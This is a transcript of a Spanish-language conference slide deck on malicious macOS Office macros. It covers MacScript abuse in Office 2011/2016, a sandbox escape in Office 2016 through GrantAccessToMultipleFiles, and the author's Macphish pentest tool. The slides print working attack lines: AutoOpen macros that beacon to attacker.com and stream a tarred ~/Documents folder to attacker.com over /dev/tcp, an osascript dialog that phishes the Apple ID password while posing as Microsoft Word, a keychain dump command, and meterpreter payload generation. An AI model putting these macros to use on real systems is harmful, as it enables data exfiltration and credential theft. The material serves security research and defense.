Old fox new tricks malicious macros are back
-
Upload
websec-mexico-sc -
Category
Internet
-
view
547 -
download
4
Transcript of Old fox new tricks malicious macros are back
![Page 1: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/1.jpg)
![Page 2: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/2.jpg)
Old fox, new tricks –Malicious OSX/MacOS macros are backPaulino Calderon <@calderpwn>[email protected] - http://calderonpale.com - http://websec.mx
![Page 3: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/3.jpg)
$whoami• Pruebas de Penetración, Análisis de Vulnerabilidades, Revisión de
Código Fuente y Pruebas de Ingeniería Social en Websec (http://websec.mx/).
• Autor de libros con PacktPub (https://www.packtpub.com) y cursos en línea con Pluralsight (https://www.pluralsight.com).
• Me gusta desarrollar software libre, experimentar con tecnologías nuevas y buscar vulnerabilidades en software.
• Chapter leader de OWASP Riviera Maya
![Page 4: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/4.jpg)
Un día nuestro objetivo era una empresa de marketing…
![Page 5: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/5.jpg)
¿De qué vamos a hablar hoy?
• Ataques con macros maliciosos para Mac (OSX/MacOS) ”in the wild”.
• Vectores de ataques en Office 2011.
• Nuevos vectores de ataque contra Office 2016 que funcionan a pesar de las protecciones del sandbox.
• Macphish – Nueva herramienta para generar macros para Mac para pruebas de ingeniería social.
![Page 6: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/6.jpg)
![Page 7: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/7.jpg)
U.S. Allies and Rivals Digest Trump's Victory – Carnegie Endowment for International Peace.docm
• Descubierto en Febrero 2017.
• Al ejecutarse el macro malicioso:
• Verificaba que Little Snitch no estuviera ejecutándose.
• Descargaba Stager de EmPyre.
• Atacantes tenían acceso a todos los módulos de EmPyre.
• Patrick Wardle publicó un análisis en su sitio web. -> https://objective-see.com/blog/blog_0x17.html
• Interesante pero este ataque no funciona si el usuario usa Office 2016.
![Page 8: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/8.jpg)
![Page 9: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/9.jpg)
Un poco de historia…
• Office 2008 for Mac mitigaba los macros maliciosos totalmente… al no soportar VBA.
• En Office 2011 for Mac vuelven a soportar VBA macros.
• Debido a los serios problemas de seguridad, Office 2016 for Mac ahora se ejecuta en un App Sandbox.
• Aunque los usuarios ejecuten el macro, ¡ya no podemos acceder a archivos de usuario/sistema! … ¿O sí?
![Page 10: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/10.jpg)
Versiones de Office en uso en la actualidad
Office 2016Office 2011
![Page 11: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/11.jpg)
![Page 12: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/12.jpg)
Office 2011 vs Office 2016
![Page 13: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/13.jpg)
Macros en OSX/MacOS
• Deben guardarse en un archivo .docm.
• Requieren interacción del usuario.
• No se puede configurar Office para que automáticamente no ejecute macros:
• O ejecuta automáticamente todos los macros.
• O te pregunta cada vez que abres un macro.
![Page 14: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/14.jpg)
Macros multiplataforma
•Condicionales en Office nos permiten crearmacros multiplataforma y detectar la versiónde Office.
•”If Mac” disponible desde Office 2011.
•MAC_OFFICE_VERSION desde Office 2016.
![Page 15: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/15.jpg)
Macros multiplataforma
![Page 16: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/16.jpg)
Ejecución de código malicioso con System()
• En OSX/MacOS es posible ejecutar código malicioso utilizando la función System() de libc.dylib.
![Page 17: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/17.jpg)
![Page 18: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/18.jpg)
Problemas utilizando System()
• Está técnica presenta ciertas desventajas:
• Requiere soportar ambas versiones (32/64 bits).
• No funciona en todos los sistemas.
![Page 19: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/19.jpg)
Abusando Macscript
• La función de VBA Macscript() fue diseñada para ejecutar scripts Applescript en documentos de Mac.
• Deprecada pero aún funciona en Office 2016.
• Office 2016 requiere que los scripts sean colocados en una carpeta específica. Esto principalmente para evitar que macros descarguen scripts adicionales y los ejecuten.
• Sin embargo, es posible abusar Macscript para ejecutar binarios del sistema.
• Ojo: No todos los binarios son permitidos.
![Page 20: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/20.jpg)
Ejecutando binarios con Macscript
Sub AutoOpen()MacScript ("do shell script ""<binary>"" ")
End Sub
![Page 21: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/21.jpg)
No todos los binarios son iguales
• Office 2016 no permite la ejecución de cualquier binario. Sin embargo, podemos invocar:
• Utilidades: curl, tar, xxd, ping, nslookup y osascript.
• Interpretes de programación: Python, Ruby, Perl.
• Si el binario no está permitido, el sistema regresa esteerror:
![Page 22: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/22.jpg)
Abusando utilidades de sistemaPhone Home
Utilidades clásicas como ping o curl pueden ser utilizadascomo beacons de notificación.
Sub AutoOpen()
MacScript ("do shell script ""ping -c 1 attacker.com"" ")
End Sub
![Page 23: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/23.jpg)
Abusando utilidades de sistemaExfiltrando datos de usuario
Además tenemos acceso a sockets directamente: /dev/tcp/atacante.com/443
Entonces también podemos comprimir la carpeta de Documentos de usuario y enviarnosla:
Sub AutoOpen()MacScript ("do shell script ""tar zcf - ~/Documents | xxd -p >/dev/tcp/attacker.com/443"" ")End Sub
![Page 24: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/24.jpg)
Abusando osascript
• Osascript es una utilidad disponible en todas las Macs que sirve para ejecutar scripts en Applescript.
• A pesar de que eventos de sistema están bloqueados, tenemos acceso a funcionalidad para crear diálogos, acceder al portapapeles y obtener información del sistema.
![Page 25: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/25.jpg)
Phishing de credenciales con osascript
Podemos utilizar diálogos para engañar a usuarios a que introduzcan sus credenciales y las enviamos utilizando alguna de las técnicas descritas anteriormente.
![Page 26: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/26.jpg)
Phishing de credenciales con Macscript
MacScript("do shell script ""/usr/bin/osascript -e 'display dialog \""Microsoft Word requiere de tucontraseña de tu Apple ID para descifrar el archivo\"" & return & return default answer \""\"" with icon file \""Applications:Utilities:KeychainAccess.app:Contents:Resources:AppIcon.icns\"" with hidden answer with title \""Microsoft Word\""'""")
![Page 27: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/27.jpg)
https://drive.google.com/open?id=0BzPR8exG0kt6WWUzU0tKUjFhdjg
VIDEO
![Page 28: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/28.jpg)
Phishing de credenciales con osascript
• Funciona en Office 2011/2016.
• Localmente también puede ser ejecutado:
http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
• Ahora también implementado en otras herramientas:
• Bash Bunny
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/phishing/MacPhish
• EmPyre
https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-3b688e8eff68
![Page 29: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/29.jpg)
Phishing de credenciales con osascript
• Se puede personalizar los diálogos con íconos de aplicaciones en el sistema.
• Applications:Utilities:KeychainAccess.app:Contents:Resources:AppIcon.icns
![Page 30: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/30.jpg)
Abusando de los interpretes de lenguajes de programación
Podemos ejecutar código utilizando interpretes de lenguajes de programación (Python/Ruby/Perl):
Sub AutoOpen()MacScript ("do shell script ""python -c <payload>"" ")
End Sub
![Page 31: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/31.jpg)
Abusando de los interpretes de lenguajes de programación
![Page 32: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/32.jpg)
https://drive.google.com/open?id=0BzPR8exG0kt6TlY1UWhiemVKRnc
VIDEO
![Page 33: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/33.jpg)
Atacando Office 2011 for Mac
Persistencia
cronjob
Dylib-hijack
Launch daemon
Login hook
Exfiltración
Curl/wget
Tar/xxd
TCP sockets
C&C
EmPyre
Meterpreter
Phishing
osascript
VBA
![Page 34: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/34.jpg)
Macros para Office 2016
• El sandbox de Office 2016 bloquea el acceso a cualquier recurso no definido en las políticas de seguridad.
• Aunque los usuarios habiliten la ejecución de macros, la mayoría de malware no va a funcionar en Office 2016.
• No se conocían vectores de ataque que funcionaran contra Office 2016.
![Page 35: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/35.jpg)
El sandbox de Office 2016
¿Qué podemos hacer si nos enfrentamos a usuarios con Office 2016?
![Page 36: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/36.jpg)
Abusando de GrantAccessToMultipleFiles
• Office 2016 introdujo un par de funciones nuevas entre ellas GrantAccessToMultipleFiles().
• GrantAccessToMultipleFiles recibe un arreglo de archivos en el sistema y solicita permisos de acceso.
• ¡La documentación no dice nada de que carpetas también son soportadas! ¿Para qué solicitar individualmente acceso a archivos si le podemos pedir acceso a toda la carpeta?
• One shot: Solo tenemos una oportunidad porque la selección del usuario es guardada para siempre.
• Esto tiene muchas implicaciones de las cuales hablaremos más adelante.
![Page 37: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/37.jpg)
Abusando de GrantAccessToMultipleFiles
![Page 38: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/38.jpg)
Abusando de GrantAccessToMultipleFiles
Sub AutoOpen()GrantAccessToMultipleFiles(”/Users/<usuario>/Documents”)MacScript ("do shell script ""python -c <payload>"" ")
End Sub
![Page 39: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/39.jpg)
https://drive.google.com/open?id=0BzPR8exG0kt6VzlaWVVJdEtNR0k
VIDEO
![Page 40: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/40.jpg)
Abusando GrantAccessToMultipleFilesPermisos globales
Debido a que el dialogo se presenta una sola vez y los permisos son asignados para siempre:
• Si el usuario otorga los permisos, cualquier macro que se ejecute en el sistema tendrá acceso a esos archivos. Si los usuarios ya habían permitido a un macro legitimo acceder a estos archivos, nuestro macro malicioso también tendría acceso a esos archivos.
![Page 41: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/41.jpg)
https://drive.google.com/open?id=0BzPR8exG0kt6SnJwM01KSzAzMjA
VIDEO
![Page 42: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/42.jpg)
Abusando GrantAccessToMultipleFilesDenegación de Servicio Permanente (DoS)
• Si el usuario no otorga los permisos, macros legítimos no podrán acceder a esos archivos posteriormente.
• No existe una interfaz para administrar estos permisos. La respuesta de la primera petición se usa para siempre.
• Posible Denegación de Servicio permanente.
![Page 43: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/43.jpg)
Preparando los payloads maliciosos
• Payload script en Applescript debe ser escapado para ejecutarse inline a través de osascript. Debemos considerar VBA escapingtambién.
• GrantAccessToMultipleFiles requiere saber la ruta completa al directorio del usuario objetivo. (Cambia de objetivo a objetivo)
• La ruta también la podemos obtener abusando de osascript
![Page 44: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/44.jpg)
Macphish – Generador de macros maliciosospara pruebas de ingeniería social
https://github.com/cldrn/macphish
![Page 45: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/45.jpg)
Macphish
• Genera scripts en Applescript para pruebas de ingeniería social.
• Plantillas de macros multiplataforma.
• Nombres de funciones aleatorios.
• Payloads de meterpreter y Empyre (*).
• Configuración automática de entorno de usuario.
https://github.com/cldrn/macphish
![Page 46: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/46.jpg)
Macphish - Beacon
• Payload no malicioso que simplemente envía señal a casa sobre su ejecución. (”Phone home”)
• Útil para estadísticas sobre ejecución de macros.
• Funciona en Office 2011 y Office 2016.
https://github.com/cldrn/macphish
![Page 47: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/47.jpg)
$./macphish.py –a beacon –lh <host>
https://github.com/cldrn/macphish
![Page 48: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/48.jpg)
Macphish - Creds
• Payload para intentar obtener credenciales locales de usuarios.
• Utiliza funcionalidad de diálogos de osascript para realizar el ataque de phishing.
• Funciona en Office 2011 y Office 2016.
https://github.com/cldrn/macphish
![Page 49: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/49.jpg)
$./macphish.py –a creds -m –lh <host>
https://github.com/cldrn/macphish
![Page 50: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/50.jpg)
Macphish - Meterpreter
• Payload para obtener shell de meterpreter en víctimas.
• Utiliza payloads en python.
• Funciona en Office 2011 sin restricciones.
• Office 2016 quedamos dentro del sandbox ->
https://github.com/cldrn/macphish
![Page 51: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/51.jpg)
$./macphish.py –a meterpreter –lh <host> -lp <port> -m
https://github.com/cldrn/macphish
![Page 52: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/52.jpg)
Macphish – Meterpreter c/ GrantAccessToMultipleFiles()
• Payload para solicitar permisos a los Documentos de usuarios antes de ejecutar una shell de meterpreter.
• En Office 2016 saltamos el sandbox si:
• La víctima autoriza (o autorizó a otro archivo) el acceso a los documentos.
• El documento se encuentra dentro de la ruta que solicita. (*)
https://github.com/cldrn/macphish
![Page 53: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/53.jpg)
$./macphish.py –a meterpreter-grant –lh <host> -lp <port> -m
https://github.com/cldrn/macphish
![Page 54: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/54.jpg)
https://drive.google.com/open?id=0BzPR8exG0kt6TDJ5OGt6LVNLT28
VIDEO
![Page 55: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/55.jpg)
Ideas adicionales
• Automatizar la persistencia.
• Elevación de privilegios a través de vulnerabilidades del sistema.
• Dumpeo de contraseñas a través del keychain.• MacScript("do shell script ""security dump-keychain -d login.keychain"" ")
![Page 56: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/56.jpg)
Ligas
• Documentación de macphish
https://github.com/cldrn/macphish/wiki
• Websec:
http://websec.mx/blog/ver/mac-macros-y-macphish
• App Sandbox:
https://developer.apple.com/library/content/documentation/Security/Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html
• VBA improvements in Office 2016:
https://dev.office.com/blogs/VBA-improvements-in-Office-2016
• Credential phishing in Empyre:
https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-3b688e8eff68
![Page 57: Old fox new tricks malicious macros are back](https://reader034.fdocuments.in/reader034/viewer/2022051710/5a6e906f7f8b9a4f608b4877/html5/thumbnails/57.jpg)
¡Gracias! ¿Preguntas?
Paulino Calderon <@calderpwn>[email protected] - http://calderonpale.com - http://websec.mx